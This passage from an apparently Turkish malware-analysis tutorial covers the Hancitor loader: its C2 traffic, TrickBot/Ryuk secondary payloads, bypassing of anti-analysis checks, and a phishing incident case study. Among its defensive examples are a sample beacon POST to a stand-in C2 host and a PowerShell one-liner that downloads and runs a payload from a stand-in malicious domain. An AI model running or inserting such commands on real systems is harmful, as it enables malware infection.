edilmi\u015ftir. Bu dosya, daha sonra bellekte de\u015fifre edilip y\u00fcr\u00fct\u00fclerek TrickBot gibi bir bankac\u0131l\u0131k trojan\u0131 ba\u015flatm\u0131\u015ft\u0131r. Bu t\u00fcr g\u00f6zlemler, C2 sunucular\u0131n\u0131 engellemek ve sistemde kal\u0131c\u0131 olan ikincil payload'u tespit etmek i\u00e7in kritik bilgiler sa\u011flar. Dinamik analiz, bu derinlemesine davran\u0131\u015fsal anlay\u0131\u015f\u0131 sunarak, hem otomatik sistemlerin yetersiz kald\u0131\u011f\u0131 durumlar\u0131 ayd\u0131nlat\u0131r hem de gelecekteki tehditlere kar\u015f\u0131 daha sa\u011flam savunma stratejileri geli\u015ftirmemize yard\u0131mc\u0131 olur. Bu a\u015fama, zararl\u0131 yaz\u0131l\u0131m\u0131n t\u00fcm gizli operasyonlar\u0131n\u0131 g\u00f6zler \u00f6n\u00fcne sermek i\u00e7in adeta bir mikroskop g\u00f6revi g\u00f6r\u00fcr. Elde edilen t\u00fcm bu bilgiler, tehdit istihbarat\u0131 raporlar\u0131n\u0131n olu\u015fturulmas\u0131nda ve g\u00fcvenlik \u00fcr\u00fcnlerinin g\u00fcncellenmesinde temel veri kayna\u011f\u0131 olarak kullan\u0131l\u0131r.<\/p>\n<h2>Hancitor C2 \u0130leti\u015fimi ve \u0130kincil Payload Analizi Nas\u0131l Yap\u0131l\u0131r?<\/h2>\n<p>Hancitor Loader'\u0131n en kritik a\u015famalar\u0131ndan biri, komuta ve kontrol (C2) sunucusu ile kurdu\u011fu ileti\u015fim ve bu ileti\u015fim sonucunda indirdi\u011fi ikincil payload'dur. Bu a\u015fama, Hancitor'\u0131n nihai amac\u0131n\u0131 ve da\u011f\u0131taca\u011f\u0131 as\u0131l zararl\u0131 yaz\u0131l\u0131m\u0131 anlamak i\u00e7in hayati \u00f6nem ta\u015f\u0131r. C2 ileti\u015fimi genellikle HTTP veya HTTPS protokolleri \u00fczerinden ger\u00e7ekle\u015ftirilir ve genellikle standart web trafi\u011fi gibi g\u00f6r\u00fcnmeye \u00e7al\u0131\u015f\u0131r, bu da tespitini zorla\u015ft\u0131r\u0131r. A\u011f analizi i\u00e7in Wireshark veya Fiddler gibi ara\u00e7lar kullan\u0131larak Hancitor'\u0131n d\u0131\u015f d\u00fcnya ile nas\u0131l konu\u015ftu\u011fu detayl\u0131 bir \u015fekilde incelenebilir. Bir Hancitor enfeksiyonunda, ilk olarak zararl\u0131 yaz\u0131l\u0131m\u0131n C2 sunucusuna sistem hakk\u0131nda temel bilgiler (i\u015fletim sistemi versiyonu, bilgisayar ad\u0131, kullan\u0131c\u0131 ad\u0131, IP adresi) i\u00e7eren bir HTTP POST iste\u011fi g\u00f6nderdi\u011fi g\u00f6zlemlenir. Bu veriler genellikle Base64 ile kodlanm\u0131\u015f veya basit bir XOR i\u015flemiyle \u015fifrelenmi\u015f olabilir. Bu iste\u011fin yan\u0131t\u0131nda ise, Hancitor'a hangi ikincil payload'u indirece\u011fi ve nereden indirece\u011fi bilgisi verilir. Bu yan\u0131t da benzer \u015fekilde \u015fifreli veya kodlanm\u0131\u015f olabilir. \u00d6rne\u011fin, bir vaka analizinde Hancitor'\u0131n C2 sunucusuna a\u015fa\u011f\u0131daki gibi bir POST iste\u011fi g\u00f6nderdi\u011fi g\u00f6r\u00fclm\u00fc\u015ft\u00fcr:<\/p>\n<pre><code>\nPOST \/gate.php HTTP\/1.1\nHost: hancitor_c2.example.com\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.88 Safari\/537.36\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 120\n\ndata=YWJjZDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MA==\n<\/pre>\n<p><\/code><\/p>\n<p>Yukar\u0131daki \u00f6rnekte \"data\" parametresi, Base64 ile kodlanm\u0131\u015f sistem bilgilerini veya bot kimli\u011fini i\u00e7ermektedir. Bu veri \u00e7\u00f6z\u00fcmlendi\u011finde, analist i\u00e7in \u00e7ok de\u011ferli bilgiler ortaya \u00e7\u0131kar. C2 sunucusundan gelen yan\u0131t, genellikle ikincil payload'\u0131n URL'sini ve bazen de bir anahtar veya \u015fifreleme algoritmas\u0131 bilgisini i\u00e7erir. Hancitor bu URL'yi kullanarak, genellikle TrickBot, Zeus Panda veya Ryuk gibi daha sofistike bir zararl\u0131 yaz\u0131l\u0131m\u0131 indirir. \u0130ndirilen bu ikincil payload, genellikle bellekte \u015fifresi \u00e7\u00f6z\u00fclerek \u00e7al\u0131\u015ft\u0131r\u0131l\u0131r ve diske nadiren yaz\u0131l\u0131r, bu da diske dayal\u0131 g\u00fcvenlik \u00e7\u00f6z\u00fcmlerini atlatmas\u0131na yard\u0131mc\u0131 olur. Bu nedenle, dinamik analiz s\u0131ras\u0131nda bellek d\u00f6k\u00fcm\u00fc (memory dump) almak ve bu d\u00f6k\u00fcm \u00fczerinde analiz yapmak kritik \u00f6neme sahiptir. Volatility Framework gibi ara\u00e7lar kullan\u0131larak bellek d\u00f6k\u00fcm\u00fc analiz edilebilir ve bellekte \u00e7al\u0131\u015fan gizli s\u00fcre\u00e7ler, enjekte edilmi\u015f kodlar veya \u015fifresi \u00e7\u00f6z\u00fclm\u00fc\u015f payload'lar tespit edilebilir. \u00d6zellikle, Hancitor'\u0131n kendi s\u00fcrecine veya me\u015fru bir Windows s\u00fcrecine (\u00f6rne\u011fin, <code>explorer.exe<\/code>, <code>svchost.exe<\/code>) enjekte etti\u011fi shellcode'u bulmak ve \u00e7\u0131karmak, ikincil payload'\u0131n davran\u0131\u015f\u0131n\u0131 anlamak i\u00e7in esast\u0131r. Bu shellcode, genellikle C2'den gelen son payload'u indirme ve \u00e7al\u0131\u015ft\u0131rma talimatlar\u0131n\u0131 i\u00e7erir.<\/p>\n<div class=\"expert-tip\">\n    Uzman \u0130pucu: G\u00fcvenlik duvarlar\u0131n\u0131zda ve a\u011f izleme sistemlerinizde Hancitor'\u0131n bilinen C2 alan adlar\u0131n\u0131 ve IP adreslerini kara listeye alarak erken a\u015famada ileti\u015fimi kesebilirsiniz. Ancak, C2 adresleri s\u00fcrekli de\u011fi\u015fti\u011fi i\u00e7in g\u00fcncel tehdit istihbarat\u0131 kaynaklar\u0131n\u0131 takip etmek \u00f6nemlidir.\n<\/div>\n<p>\u0130kincil payload'\u0131n analizi, Hancitor Loader analizinin devam\u0131 niteli\u011findedir ve genellikle daha karma\u015f\u0131k olur \u00e7\u00fcnk\u00fc bu payload'lar, bilgi h\u0131rs\u0131zl\u0131\u011f\u0131, bankac\u0131l\u0131k trojanl\u0131\u011f\u0131 veya fidye yaz\u0131l\u0131m\u0131 gibi \u00e7ok daha spesifik ve y\u0131k\u0131c\u0131 i\u015flevlere sahiptir. Bu payload'lar\u0131n kendi anti-analiz ve gizleme teknikleri olabilir. \u00d6rne\u011fin, TrickBot gibi bankac\u0131l\u0131k trojanlar\u0131, taray\u0131c\u0131dan veri \u00e7almak i\u00e7in \u00e7e\u015fitli enjeksiyon teknikleri kullan\u0131r, Ryuk gibi fidye yaz\u0131l\u0131mlar\u0131 ise a\u011f payla\u015f\u0131m\u0131na eri\u015fim sa\u011flama ve dosyalar\u0131 \u015fifreleme yeteneklerine sahiptir. Bu a\u015famada, analiz, ikincil payload'\u0131n kendine \u00f6zg\u00fc davran\u0131\u015flar\u0131na odaklan\u0131r: hangi API'leri \u00e7a\u011f\u0131r\u0131r, hangi dosyalar\u0131 \u015fifreler, hangi s\u00fcre\u00e7lere enjekte olur ve hangi verileri d\u0131\u015far\u0131 s\u0131zd\u0131rmaya \u00e7al\u0131\u015f\u0131r. Bu bilgiler, sadece Hancitor'\u0131n da\u011f\u0131t\u0131m vekt\u00f6r\u00fc olarak rol\u00fcn\u00fc de\u011fil, ayn\u0131 zamanda nihai tehdidin kapsam\u0131n\u0131 ve etkisini de anlamam\u0131z\u0131 sa\u011flar. Sonu\u00e7 olarak, Hancitor C2 ileti\u015fimini ve indirdi\u011fi ikincil payload'u analiz etmek, bir sald\u0131r\u0131n\u0131n t\u00fcm ya\u015fam d\u00f6ng\u00fcs\u00fcn\u00fc anlamak ve bu tehditlere kar\u015f\u0131 kapsaml\u0131 savunma stratejileri geli\u015ftirmek i\u00e7in vazge\u00e7ilmezdir. Bu analiz, siber g\u00fcvenlik ekiplerine, sald\u0131r\u0131 sonras\u0131 adli t\u0131p (post-incident forensics) ve tehdit avc\u0131l\u0131\u011f\u0131 (threat hunting) s\u00fcre\u00e7lerinde kullan\u0131labilecek de\u011ferli IOC'ler ve davran\u0131\u015fsal imzalar sa\u011flar. Bu sayede, gelecekteki benzer sald\u0131r\u0131lar daha h\u0131zl\u0131 tespit edilebilir ve etkisiz hale getirilebilir.<\/p>\n<h2>Geli\u015fmi\u015f Analiz Teknikleri ile Hancitor'\u0131n Anti-Analiz Mekanizmalar\u0131n\u0131 Nas\u0131l A\u015far\u0131z?<\/h2>\n<p>Hancitor Loader, siber g\u00fcvenlik analistlerinin i\u015fini zorla\u015ft\u0131rmak i\u00e7in \u00e7e\u015fitli geli\u015fmi\u015f anti-analiz ve tespit ka\u00e7\u0131rma teknikleri kullan\u0131r. Bu teknikler, genellikle sanal makine (VM) ve hata ay\u0131klay\u0131c\u0131 (debugger) ortamlar\u0131n\u0131 tespit etmeye, kodu gizlemeye (obfuscation) ve dinamik olarak i\u015flevsellik y\u00fcklemeye odaklan\u0131r. Ancak, do\u011fru ara\u00e7lar ve y\u00f6ntemlerle bu mekanizmalar a\u015f\u0131labilir. Geli\u015fmi\u015f analiz teknikleri, zararl\u0131 yaz\u0131l\u0131m\u0131n en derin katmanlar\u0131na n\u00fcfuz etmemizi sa\u011flar. \u0130lk olarak, sanal makine ve sandbox alg\u0131lamas\u0131n\u0131 a\u015fmak \u00f6nemlidir. Hancitor, <code>rdtsc<\/code> komutu ile zaman damgalar\u0131n\u0131 kar\u015f\u0131la\u015ft\u0131rma, d\u00fc\u015f\u00fck bellek ve i\u015flemci miktar\u0131 gibi VM g\u00f6stergelerini kontrol etme veya bilinen sanalla\u015ft\u0131rma s\u00fcr\u00fcc\u00fclerinin varl\u0131\u011f\u0131n\u0131 arama gibi y\u00f6ntemler kullanabilir. Bu kontrolleri atlatmak i\u00e7in, sanal makine imaj\u0131m\u0131z\u0131 ger\u00e7ek bir sisteme m\u00fcmk\u00fcn oldu\u011funca yak\u0131n yap\u0131land\u0131rmal\u0131y\u0131z: yeterli bellek ve i\u015flemci tahsis etmek, donan\u0131m s\u00fcr\u00fcc\u00fclerini y\u00fcklemek, hatta mouse hareketlerini taklit eden veya rastgele dosya a\u00e7ma gibi insan davran\u0131\u015flar\u0131n\u0131 sim\u00fcle eden sandbox \u00e7\u00f6z\u00fcmleri kullanmak faydal\u0131d\u0131r. Ayr\u0131ca, kernel d\u00fczeyinde anti-VM eklentileri veya de\u011fi\u015ftirilmi\u015f sanal makine hiperviz\u00f6rleri (\u00f6rne\u011fin, Hyper-V i\u00e7in EAT veya VMWare i\u00e7in VMMON) kullanarak bu alg\u0131lama mekanizmalar\u0131n\u0131 devre d\u0131\u015f\u0131 b\u0131rakabiliriz. Bu, zararl\u0131 yaz\u0131l\u0131m\u0131n kendini tam olarak g\u00f6stermesine olanak tan\u0131r.<\/p>\n<pre><code>\n\/\/ Sanal makine tespiti i\u00e7in \u00f6rnek bir assembly kodu par\u00e7ac\u0131\u011f\u0131 (k\u0131smi)\n\/\/ Bu t\u00fcr kodlar, Hancitor taraf\u0131ndan VM tespiti i\u00e7in kullan\u0131labilir.\nxor     eax, eax\ncpuid\ntest    eax, eax\njz      loc_skip_vm_check ; E\u011fer EAX 0 ise VM olarak kabul etme\n<\/pre>\n<p><\/code><\/p>\n<p>Obfuscation (gizleme), Hancitor'\u0131n kodunu anla\u015f\u0131lmaz hale getirerek statik analizi zorla\u015ft\u0131ran bir di\u011fer yayg\u0131n tekniktir. Bu, anlams\u0131z kod ekleme (code junk), kontrol ak\u0131\u015f\u0131 d\u00fczle\u015ftirme (control flow flattening), string \u015fifreleme veya paketleme (packing) gibi y\u00f6ntemlerle yap\u0131labilir. Bu durumlarla ba\u015fa \u00e7\u0131kmak i\u00e7in, kodun paketini a\u00e7ma (unpacking) ve deobfuscation teknikleri kullan\u0131r\u0131z. Otomatik paket \u00e7\u00f6z\u00fcc\u00fcler (\u00f6rne\u011fin, UPX Unpacker gibi genel \u00e7\u00f6z\u00fcmler veya \u00f6zel komut dosyalar\u0131) i\u015fe yarayabilir. Ancak Hancitor genellikle \u00f6zel paketleyiciler kulland\u0131\u011f\u0131ndan, bu i\u015flem manuel hata ay\u0131klama gerektirebilir. Dinamik analiz s\u0131ras\u0131nda, zararl\u0131 yaz\u0131l\u0131m\u0131n bellekteki \u015fifresi \u00e7\u00f6z\u00fclm\u00fc\u015f veya paketi a\u00e7\u0131lm\u0131\u015f halini yakalayarak bir bellek d\u00f6k\u00fcm\u00fc almak ve bu d\u00f6k\u00fcmden orijinal kodu \u00e7\u0131karmak olduk\u00e7a etkili bir y\u00f6ntemdir. Ayr\u0131ca, IDA Pro veya Ghidra gibi disassembler'larda yaz\u0131lan betikler (scriptler), kontrol ak\u0131\u015f\u0131n\u0131 onarmak veya \u015fifreli stringleri \u00e7\u00f6zmek i\u00e7in kullan\u0131labilir. Hancitor, genellikle DLL enjeksiyonu veya process hollowing gibi tekniklerle kendini me\u015fru s\u00fcre\u00e7lere enjekte ederek gizlenir. Bu durumlarda, Process Explorer veya Process Hacker gibi ara\u00e7larla s\u00fcre\u00e7 a\u011fac\u0131n\u0131 dikkatlice incelemek ve \u015f\u00fcpheli bellek b\u00f6lgelerini taramak gerekir. Bir s\u00fcre\u00e7te beklenmedik bir bellek tahsisi (\u00f6rne\u011fin, <code>PAGE_EXECUTE_READWRITE<\/code> izinlerine sahip b\u00fcy\u00fck bir bellek blo\u011fu) veya bilinmeyen bir DLL y\u00fcklemesi, enjeksiyon belirtisi olabilir. Bellek d\u00f6k\u00fcm\u00fc alarak bu enjekte edilmi\u015f kodlar\u0131 analiz edebilir, hatta bunlar\u0131 ayr\u0131 bir dosya olarak \u00e7\u0131kar\u0131p statik analize tabi tutabiliriz. \u00d6rne\u011fin, TrickBot gibi ikincil payload'lar, genellikle Hancitor taraf\u0131ndan bu \u015fekilde enjekte edilip \u00e7al\u0131\u015ft\u0131r\u0131l\u0131r. Ayr\u0131ca, anti-hata ay\u0131klama teknikleri de Hancitor'\u0131n kulland\u0131\u011f\u0131 geli\u015fmi\u015f y\u00f6ntemlerdendir. Bunlar, <code>IsDebuggerPresent<\/code>, <code>CheckRemoteDebuggerPresent<\/code> gibi API \u00e7a\u011fr\u0131lar\u0131yla hata ay\u0131klay\u0131c\u0131n\u0131n varl\u0131\u011f\u0131n\u0131 kontrol etme veya zamanlama tabanl\u0131 kontrollerle hata ay\u0131klay\u0131c\u0131 alt\u0131nda yava\u015f \u00e7al\u0131\u015f\u0131p \u00e7al\u0131\u015fmad\u0131\u011f\u0131n\u0131 \u00f6l\u00e7me gibi yollar\u0131 i\u00e7erir. Bu kontrolleri atlatmak i\u00e7in hata ay\u0131klay\u0131c\u0131da (\u00f6rne\u011fin x64dbg) NOP (No Operation) komutlar\u0131 ile bu kontrollerin \u00fczerinden atlayabilir veya ilgili API'leri yamalayabiliriz (patching). Otomatik analizin yetersiz kald\u0131\u011f\u0131 durumlarda bu manuel ve geli\u015fmi\u015f teknikler, Hancitor'\u0131n t\u00fcm s\u0131rlar\u0131n\u0131 a\u00e7\u0131\u011fa \u00e7\u0131karmak i\u00e7in vazge\u00e7ilmezdir. Bu y\u00f6ntemler sayesinde, sadece Hancitor'\u0131n kendisini de\u011fil, ayn\u0131 zamanda da\u011f\u0131tt\u0131\u011f\u0131 di\u011fer zararl\u0131 yaz\u0131l\u0131mlar\u0131 da tam olarak anlayabiliriz, b\u00f6ylece daha g\u00fc\u00e7l\u00fc ve proaktif savunma stratejileri geli\u015ftirebiliriz. Bu t\u00fcr detayl\u0131 analizler, tehdit istihbarat\u0131 a\u00e7\u0131s\u0131ndan da b\u00fcy\u00fck de\u011fer ta\u015f\u0131r ve g\u00fcvenlik \u00fcr\u00fcnlerinin tespit yeteneklerini \u00f6nemli \u00f6l\u00e7\u00fcde art\u0131r\u0131r.<\/p>\n<h2>Ger\u00e7ek D\u00fcnya Senaryosu: Bir Hancitor Enfeksiyonu Vaka Analizi<\/h2>\n<p>Bir siber g\u00fcvenlik uzman\u0131 olarak kar\u015f\u0131la\u015ft\u0131\u011f\u0131m\u0131z en yayg\u0131n senaryolardan biri, bir kullan\u0131c\u0131n\u0131n zararl\u0131 bir e-postay\u0131 a\u00e7mas\u0131yla ba\u015flayan Hancitor enfeksiyonlar\u0131d\u0131r. \u0130\u015fte b\u00f6yle bir ger\u00e7ek d\u00fcnya vakas\u0131 \u00fczerinden ad\u0131m ad\u0131m Hancitor Loader analizini nas\u0131l yapaca\u011f\u0131m\u0131z\u0131 inceleyelim:<\/p>\n<p><strong>Senaryo:<\/strong> Bir \u015firketin insan kaynaklar\u0131 departman\u0131ndan bir kullan\u0131c\u0131, \"\u00d6nemli Fatura Bilgileri\" ba\u015fl\u0131\u011f\u0131yla gelen, me\u015fru g\u00f6r\u00fcnen bir e-posta al\u0131r. E-postada, bir \"FaturaDetay.doc\" adl\u0131 makro i\u00e7eren bir Word belgesi ekliydi. Kullan\u0131c\u0131, belgeyi a\u00e7t\u0131ktan sonra makrolar\u0131 etkinle\u015ftirme uyar\u0131s\u0131n\u0131 onaylar ve birka\u00e7 dakika sonra bilgisayar\u0131nda ola\u011fan d\u0131\u015f\u0131 yava\u015flama ve a\u011f etkinli\u011fi fark etmeye ba\u015flar.<\/p>\n<h3>1. \u0130lk M\u00fcdahale ve \u0130zolasyon:<\/h3>\n<p>Kullan\u0131c\u0131 g\u00fcvenlik ekibine durumu bildirdi\u011finde, ilk ad\u0131m enfekte olmu\u015f sistemi hemen a\u011fdan izole etmektir. Bu, zararl\u0131 yaz\u0131l\u0131m\u0131n a\u011fdaki di\u011fer sistemlere yay\u0131lmas\u0131n\u0131 veya C2 sunucusuyla daha fazla ileti\u015fim kurmas\u0131n\u0131 engeller. Sistem izole edildikten sonra, adli t\u0131p imaj\u0131 (forensic image) al\u0131narak daha sonraki analizler i\u00e7in bir kopyas\u0131 olu\u015fturulur.<\/p>\n<h3>2. Statik Analiz (E-posta Eki \u00dczerinde):<\/h3>\n<p>Orijinal \"FaturaDetay.doc\" dosyas\u0131 bir sanal makineye aktar\u0131l\u0131r ve PE-Studio gibi ara\u00e7larla incelenir. Ancak, bu bir Word belgesi oldu\u011fu i\u00e7in do\u011frudan PE analizi yerine, belgenin i\u00e7eri\u011fi ve ekli makrolar\u0131 incelenir. Makrolar, OLE ara\u00e7lar\u0131yla veya Word'\u00fcn dahili makro edit\u00f6r\u00fcyle kontrol edildi\u011finde, gizlenmi\u015f bir VBScript veya PowerShell komutunun varl\u0131\u011f\u0131 ortaya \u00e7\u0131kar. Bu komut, uzak bir sunucudan bir EXE dosyas\u0131n\u0131 indirmek \u00fczere tasarlanm\u0131\u015ft\u0131r. \u00d6rne\u011fin:<\/p>\n<pre><code>\npowershell.exe -NoP -NonI -Exec Bypass -C \"Invoke-WebRequest -Uri hxxp:\/\/malicious-hancitor-c2.com\/payload.exe -OutFile %TEMP%\\update.exe; Start-Process %TEMP%\\update.exe\"\n<\/pre>\n<p><\/code><\/p>\n<p>Bu statik analiz a\u015famas\u0131nda, indirilecek zararl\u0131 dosyan\u0131n ad\u0131 (<code>update.exe<\/code>) ve C2 sunucu URL'si (<code>malicious-hancitor-c2.com<\/code>) gibi \u00f6nemli IOC'ler elde edilir. Bu bilgiler hemen g\u00fcvenlik duvar\u0131 kurallar\u0131na eklenir.<\/p>\n<h3>3. Dinamik Analiz (\u0130ndirilen Payload \u00dczerinde):<\/h3>\n<p>\u0130ndirilen <code>update.exe<\/code> dosyas\u0131, bir Cuckoo Sandbox ortam\u0131nda \u00e7al\u0131\u015ft\u0131r\u0131l\u0131r. Sandbox raporu, a\u015fa\u011f\u0131daki gibi kritik aktiviteleri listeler:<\/p>\n<ul>\n<li>Dosya Sistemi Aktiviteleri: <code>%APPDATA%<\/code> dizinine yeni bir EXE dosyas\u0131 kopyalama (\u00f6rn. <code>hancitor.exe<\/code>). Ba\u015flang\u0131\u00e7 klas\u00f6r\u00fcne veya kay\u0131t defterine kal\u0131c\u0131l\u0131k i\u00e7in girdi ekleme (\u00f6rn. <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Hancitor<\/code>).<\/li>\n<li>A\u011f Aktiviteleri: <code>malicious-hancitor-c2.com<\/code> ve <code>secondary-payload-c2.net<\/code> gibi alan adlar\u0131na HTTP\/HTTPS POST ve GET istekleri.<\/li>\n<li>S\u00fcre\u00e7 Enjeksiyonu: <code>explorer.exe<\/code> veya <code>svchost.exe<\/code> gibi me\u015fru s\u00fcre\u00e7lere zararl\u0131 kod enjekte etme giri\u015fimleri.<\/li>\n<\/ul>\n<p>Wireshark ile a\u011f trafi\u011fi incelendi\u011finde, Hancitor'\u0131n C2 sunucusuna (<code>malicious-hancitor-c2.com<\/code>) Base64 kodlu sistem bilgileri i\u00e7eren bir POST iste\u011fi g\u00f6nderdi\u011fi ve yan\u0131t olarak bir ba\u015fka URL'den (<code>secondary-payload-c2.net\/final_payload.bin<\/code>) ikincil bir zararl\u0131 dosya indirme talimat\u0131 ald\u0131\u011f\u0131 g\u00f6r\u00fcl\u00fcr. Bu ikincil dosya, daha sonra bellekte de\u015fifre edilerek bir bankac\u0131l\u0131k trojan\u0131 (\u00f6rne\u011fin TrickBot) olarak \u00e7al\u0131\u015ft\u0131r\u0131l\u0131r. Process Monitor ve Process Hacker kullan\u0131larak, Hancitor'\u0131n <code>explorer.exe<\/code> s\u00fcrecine enjekte etti\u011fi kodun varl\u0131\u011f\u0131 tespit edilir. Bellek d\u00f6k\u00fcm\u00fc al\u0131n\u0131p Volatility Framework ile incelendi\u011finde, <code>explorer.exe<\/code> i\u00e7erisinde \u015fifresi \u00e7\u00f6z\u00fclm\u00fc\u015f TrickBot payload'\u0131n\u0131n varl\u0131\u011f\u0131 ve onun da bankac\u0131l\u0131k verilerini hedefleyen API \u00e7a\u011fr\u0131lar\u0131 yapt\u0131\u011f\u0131 do\u011frulan\u0131r.<\/p>\n<h3>4. \u0130leri D\u00fczey Analiz ve Tehdit \u0130stihbarat\u0131:<\/h3>\n<p>Elde edilen t\u00fcm IOC'ler (C2 IP'leri, alan adlar\u0131, dosya hash'leri, bellekdeki \u015fifrelenmi\u015f payload'lar) bir tehdit istihbarat\u0131 veritaban\u0131na eklenir. \u015eirketin g\u00fcvenlik duvarlar\u0131, IDS\/IPS sistemleri ve EDR \u00e7\u00f6z\u00fcmleri bu IOC'lerle g\u00fcncellenir. Ayr\u0131ca, Hancitor'\u0131n kulland\u0131\u011f\u0131 obfuscation teknikleri tersine m\u00fchendislikle \u00e7\u00f6z\u00fcl\u00fcr ve bu bilgilere dayanarak imza tabanl\u0131 ve davran\u0131\u015fsal tespit kurallar\u0131 olu\u015fturulur. \u00d6rne\u011fin, TrickBot'\u0131n kulland\u0131\u011f\u0131 belirli a\u011f imzalar\u0131 veya API \u00e7a\u011fr\u0131 dizileri tespit edilebilir ve EDR sistemlerine y\u00fcklenebilir.<\/p>\n<h3>5. Etkisizle\u015ftirme ve \u0130yile\u015ftirme:<\/h3>\n<p>Enfekte olmu\u015f sistem tamamen temizlenir veya yeniden kurulur. Kullan\u0131c\u0131lar, oltalama sald\u0131r\u0131lar\u0131 ve makro g\u00fcvenli\u011fi konusunda ek e\u011fitimden ge\u00e7irilir. \u015eirketin e-posta g\u00fcvenlik ge\u00e7idi g\u00fc\u00e7lendirilir ve dosya tabanl\u0131 zararl\u0131 yaz\u0131l\u0131mlar\u0131 daha iyi tespit etmek i\u00e7in geli\u015fmi\u015f tehdit koruma (ATP) \u00e7\u00f6z\u00fcmleri g\u00f6zden ge\u00e7irilir. Bu vaka analizi, Hancitor gibi karma\u015f\u0131k bir tehditle kar\u015f\u0131la\u015f\u0131ld\u0131\u011f\u0131nda, ad\u0131m ad\u0131m ve \u00e7ok katmanl\u0131 bir analiz yakla\u015f\u0131m\u0131n\u0131n ne kadar \u00f6nemli oldu\u011funu a\u00e7\u0131k\u00e7a g\u00f6stermektedir. Her a\u015fama, tehdidin farkl\u0131 bir y\u00f6n\u00fcn\u00fc ortaya \u00e7\u0131kararak, kapsaml\u0131 bir savunma stratejisinin geli\u015ftirilmesine olanak tan\u0131r.<\/p>\n<h2>Sonu\u00e7: Hancitor Loader Analizinden \u00c7\u0131kar\u0131lacak Dersler ve Gelecek Ad\u0131mlar<\/h2>\n<p>Hancitor Loader, siber g\u00fcvenlik d\u00fcnyas\u0131nda kar\u015f\u0131la\u015ft\u0131\u011f\u0131m\u0131z en inat\u00e7\u0131 ve evrimle\u015fen tehditlerden biridir. Bu makale boyunca, Hancitor'\u0131n temel yap\u0131s\u0131ndan enfeksiyon zincirine, statik ve dinamik analiz tekniklerinden C2 ileti\u015fimi ve ikincil payload analizine kadar bir\u00e7ok \u00f6nemli konuyu detayl\u0131 bir \u015fekilde inceledik. Ayr\u0131ca, ger\u00e7ek d\u00fcnya senaryosu \u00fczerinden bir vaka analizini ele alarak, bu bilginin pratik uygulamalar\u0131n\u0131 g\u00f6rd\u00fck. \u00d6zetle, Hancitor, genellikle oltalama e-postalar\u0131 veya k\u00f6t\u00fc ama\u00e7l\u0131 reklamlar arac\u0131l\u0131\u011f\u0131yla bula\u015fan, kurban\u0131n sistemine s\u0131zd\u0131ktan sonra ba\u015fka, daha y\u0131k\u0131c\u0131 zararl\u0131 yaz\u0131l\u0131mlar\u0131 (TrickBot, Ryuk gibi) indirmek ve \u00e7al\u0131\u015ft\u0131rmak i\u00e7in kullan\u0131lan bir y\u00fckleyicidir. Anti-analiz ve tespit ka\u00e7\u0131rma tekniklerini etkin bir \u015fekilde kullanarak, geleneksel g\u00fcvenlik \u00e7\u00f6z\u00fcmlerini atlatmaya \u00e7al\u0131\u015f\u0131r. Ancak, kapsaml\u0131 bir malware analizi yakla\u015f\u0131m\u0131yla, Hancitor'\u0131n gizli operasyonlar\u0131 ve da\u011f\u0131tt\u0131\u011f\u0131 tehditler ba\u015far\u0131yla de\u015fifre edilebilir. Statik analiz ile dosya yap\u0131s\u0131, API \u00e7a\u011fr\u0131lar\u0131 ve stringler incelenirken, dinamik analiz ile sandbox ortam\u0131nda ger\u00e7ek zamanl\u0131 davran\u0131\u015flar, a\u011f ileti\u015fimi ve sistem de\u011fi\u015fiklikleri g\u00f6zlemlenir. \u0130leri d\u00fczey teknikler ise, zararl\u0131 yaz\u0131l\u0131m\u0131n sanal makine tespiti ve obfuscation gibi savunma mekanizmalar\u0131n\u0131 a\u015fmam\u0131z\u0131 sa\u011flar. Bu \u00e7ok katmanl\u0131 yakla\u015f\u0131m, Hancitor'\u0131n tehdit profilini tamamen anlamak ve onu etkisiz hale getirmek i\u00e7in vazge\u00e7ilmezdir.<\/p>\n<p>Gelecekteki ad\u0131mlar i\u00e7in, Hancitor gibi evrimle\u015fen tehditlere kar\u015f\u0131 proaktif bir duru\u015f sergilemek b\u00fcy\u00fck \u00f6nem ta\u015f\u0131maktad\u0131r. Siber g\u00fcvenlik ekipleri, s\u00fcrekli olarak en son tehdit istihbarat\u0131n\u0131 takip etmeli, yeni C2 alan adlar\u0131n\u0131 ve IP adreslerini g\u00fcvenlik duvar\u0131 kurallar\u0131na entegre etmelidir. Kullan\u0131c\u0131 e\u011fitimi, oltalama sald\u0131r\u0131lar\u0131na kar\u015f\u0131 en etkili ilk savunma hatt\u0131 olmaya devam etmektedir; kullan\u0131c\u0131lar\u0131n \u015f\u00fcpheli e-postalar\u0131 ve ekleri tan\u0131ma konusunda bilin\u00e7li olmalar\u0131 gerekmektedir. Geli\u015fmi\u015f u\u00e7 nokta koruma (EDR) ve a\u011f trafi\u011fi analizi (NTA) \u00e7\u00f6z\u00fcmleri, Hancitor'\u0131n sistemdeki ve a\u011fdaki gizli faaliyetlerini tespit etmek i\u00e7in kritik rol oynar. Ayr\u0131ca, d\u00fczenli olarak yedekleme yapmak ve bu yedekleri g\u00fcvenli bir \u015fekilde saklamak, fidye yaz\u0131l\u0131m\u0131 gibi ikincil payload'lar\u0131n olas\u0131 etkilerini azaltmak i\u00e7in hayati bir ad\u0131md\u0131r. Malware analizi yeteneklerimizi geli\u015ftirmek ve g\u00fcncel tutmak, Hancitor gibi tehditlere kar\u015f\u0131 g\u00fc\u00e7l\u00fc bir savunma olu\u015fturmam\u0131z i\u00e7in temel bir gerekliliktir. Bu s\u00fcrekli \u00f6\u011frenme ve adaptasyon s\u00fcreci, dijital varl\u0131klar\u0131m\u0131z\u0131 korumak ve siber su\u00e7lular\u0131n bir ad\u0131m \u00f6n\u00fcnde olmak ad\u0131na kritik \u00f6neme sahiptir.<\/p>\n<h3>S\u0131k\u00e7a Sorulan Sorular<\/h3>\n<p class=\"faq-question\">1. Hancitor Loader tam olarak nedir ve di\u011fer zararl\u0131 yaz\u0131l\u0131mlardan fark\u0131 nedir?<\/p>\n<p class=\"faq-answer\">Hancitor Loader, \u00f6ncelikle ba\u015fka zararl\u0131 yaz\u0131l\u0131mlar\u0131 (genellikle bankac\u0131l\u0131k trojanlar\u0131 veya fidye 